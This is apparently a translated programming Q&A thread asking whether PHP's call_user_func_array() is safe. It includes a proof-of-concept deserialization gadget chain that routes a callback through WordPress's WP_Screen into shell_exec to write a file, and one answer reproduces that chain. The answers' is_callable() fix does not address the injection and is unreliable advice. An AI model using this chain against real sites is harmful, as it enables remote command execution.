PHP函数call_user_func_array使用

时间:2014-01-10 06:09:57

标签: php

我想知道如何在代码中安全地使用call_user_func_array()

以下编码功能方式是否安全?

function outertext() {
    // …
    if ($this->dom && $this->dom->callback!==null) {
        call_user_func_array($this->dom->callback, array($this));
    }
    // … 
}

PHP的call_user_func_array()有什么最好的用途。我们如何安全地使用这个功能

概念证明:(攻击者如何攻击此功能)

<?php
class simple_html_dom_node {
    private $dom;
    public function __construct() {
        $callback = array(new WP_Screen(), 'render_screen_meta');
        $this->dom = (object) array('callback' => $callback);
    }
}
class WP_Screen {
    private $_help_tabs;
    public $action;
    function __construct() {
        $count = array('count' => 'echo "schwag" > /tmp/1337h4x0rs');
        $this->action = (object) $count;
        $this->_help_tabs = array(array(
            'callback' => 'wp_generate_tag_cloud', 
            'topic_count_scale_callback' => 'shell_exec'));
    }
}
echo serialize(new simple_html_dom_node()).'';
?>

3 个答案:

答案 0 :(得分:0)

结帐以下示例

<?php
 function foobar($arg, $arg2) {
  echo __FUNCTION__, " got $arg and $arg2\n";
 }
 class foo {
   function bar($arg, $arg2) {
     echo __METHOD__, " got $arg and $arg2\n";
   }
}


 // Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));

// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>

输出

  

foobar有一两个

foo::bar got three and four

答案 1 :(得分:0)

首先使用任何函数

验证类中是否存在该方法

method_exists或is_callable

<强>参考:

http://in2.php.net/manual/en/function.is-callable.php http://in2.php.net/method_exists

示例:

<?php

class someClass {

  function someMethod() 
  {
  }

}

$anObject = new someClass();

$methodVariable = array($anObject, 'someMethod');

is_callable($methodVariable, true, $callable_name);

if($callable_name)
{
   //use your function call here
   call_user_func_array(callback_function, array(object));
}

答案 2 :(得分:0)

检查此修改示例

<?php

class WP_Screen {
    private $_help_tabs;
    public $action;
    function __construct() {
        $count = array('count' => 'echo "schwag" > /tmp/1337h4x0rs');
        $this->action = (object) $count;
        $this->_help_tabs = array(array(
            'callback' => 'wp_generate_tag_cloud', 
            'topic_count_scale_callback' => 'shell_exec'));
    }

    public function render_screen_meta()
    {
        echo __METHOD__;
    }

}

class simple_html_dom_node
{
    private $dom;

    public function __construct()
    {
        $callback = array(new WP_Screen(), 'render_screen_meta');

        $this->dom = (object) array('callback'=>$callback);
    }

   public function outer_text()
   {
        //verify the dom callback function here
        if(is_callable($this->dom->callback))
        {
            //invoke the method here
            call_user_func_array($this->dom->callback, array());
        }

   }

}

//create an object
$obj = new simple_html_dom_node();

//invoke the method
$obj->outer_text();